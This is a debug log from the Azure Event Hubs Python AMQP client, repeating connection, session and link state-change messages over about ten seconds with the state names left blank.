[azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,718 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:55,834 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:55,834 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:55,834 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:55,834 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:55,835 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,835 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:55,835 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,835 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:55,892 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:55,943 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:55,993 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:56,043 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,043 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:56,094 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,094 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:56,304 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,362 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,477 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,477 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,477 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:56,477 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:56,478 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,709 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:56,818 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:56,818 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:56,818 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:56,819 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:56,819 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,819 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:56,819 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:56,819 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:56,872 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:56,922 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:56,973 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:57,023 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,023 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:57,074 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,074 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:57,288 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,343 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:57,455 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,681 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:57,788 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:57,788 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:57,788 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:57,788 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:57,789 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,789 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:57,789 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,789 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:57,841 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:57,891 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:57,942 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:57,992 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:57,992 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:58,043 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,043 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:58,248 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,301 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,421 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,421 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,421 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:58,421 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,421 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:58,421 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:58,421 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:58,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:58,422 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:58,422 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,422 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:58,422 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,422 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:58,422 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,637 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:58,738 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:58,738 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:58,738 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:58,738 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:58,739 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,739 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:58,739 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,739 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:58,788 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:58,839 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:58,889 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:58,940 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,940 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:58,990 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:58,990 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:59,192 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,243 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:59,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,604 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:59,720 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:59,720 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:59,720 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:59,720 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:59,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,721 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:59,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,721 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:59,778 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:59,828 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:59,878 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:59,929 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,929 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:59,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:59,980 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:00,189 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,247 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,362 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,362 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,362 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:00,362 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,362 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:00,362 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:00,363 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,594 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:00,702 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:00,702 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:00,702 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:00,703 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:00,703 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,703 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:00,703 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,703 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:00,756 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:00,807 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:00,857 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:00,907 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,907 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:00,958 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:00,958 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:01,163 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,218 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,329 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,329 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,329 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:01,329 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,329 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:01,330 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,572 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:01,689 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:01,689 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:01,690 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:01,690 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:01,690 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,690 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:01,690 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,690 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:01,748 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:01,798 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:01,849 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:01,899 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,899 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:01,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:01,950 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:02,160 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,219 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:02,339 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,589 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,706 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:02,764 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:02,814 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:02,864 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:02,915 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,915 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:02,965 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:02,965 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:03,175 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,234 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,350 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:03,351 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,582 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:03,691 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:03,691 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:03,691 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:03,691 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:03,692 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,692 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:03,692 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,692 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:03,745 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:03,795 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:03,846 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:03,896 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,896 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:03,947 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:03,947 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:04,152 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,207 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,318 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:04,319 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,544 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:04,651 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:04,651 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:04,651 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:04,651 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:04,651 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,651 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:04,652 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,652 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:04,704 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:04,754 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:04,804 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:04,855 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,855 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:04,905 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:04,905 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:05,110 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,164 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,275 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,275 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> 